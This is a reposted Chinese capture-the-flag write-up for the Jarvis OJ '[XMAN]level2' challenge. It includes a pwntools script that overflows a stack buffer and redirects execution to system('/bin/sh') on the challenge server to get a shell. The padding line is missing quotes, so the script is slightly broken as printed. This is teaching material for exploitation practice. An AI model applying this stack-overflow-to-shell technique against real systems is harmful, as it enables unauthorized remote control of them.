Jarvis OJ - [XMAN]level2 - Writeup

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jarvis OJ - [XMAN]level2 - Writeup相关的知识,希望对你有一定的参考价值。

简单利用“/bin/sh”夺权

技术分享图片

 

 简单看一下

技术分享图片

放到ida中发现了“/bin/sh”串,和system函数,可以利用==

技术分享图片

 

 所以只要在vuln函数返回时跳转到system函数,同时添加参数“/bin/sh”就可以实现啦

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

io = remote("pwn2.jarvisoj.com",9878)
elf = ELF("./level2")

sys_addr = elf.symbols["system"]
bin_addr = elf.search("/bin/sh").next()

payload = a*(0x88 + 0x4) #辣鸡填充值
payload += p32(sys_addr)   #覆盖返回地址到system函数
payload += p32(0xdeadbeef)  #随意填写system函数调用结束的返回地址
payload += p32(bin_addr)  #system函数的参数,指向“/bin/sh”,实现调用

io.recvline()
io.sendline(payload)
io.interactive()
io.close()

此时程序流程如图

技术分享图片

 

 放成果图

 技术分享图片

其实这种没有PIE保护的程序,很多函数地址可以直接从ida中复制过来,在exp中直接赋值为0x8048···,但是为了增强普适性,均使用symbols函数获得

 


作者:辣鸡小谱尼
出处:http://www.cnblogs.com/WangAoBo/
如有转载,荣幸之至!请随手标明出处;





以上是关于Jarvis OJ - [XMAN]level2 - Writeup的主要内容,如果未能解决你的问题,请参考以下文章

Jarvis OJ Pwn writeup

[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup

Jarvis OJ- [XMAN]level2/3_x64-Writeup——64位简单栈溢出

Jarvis OJ - [XMAN]level1 - Writeup

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

Jarvis OJ - [XMAN]level3 - Writeup——rop2libc尝试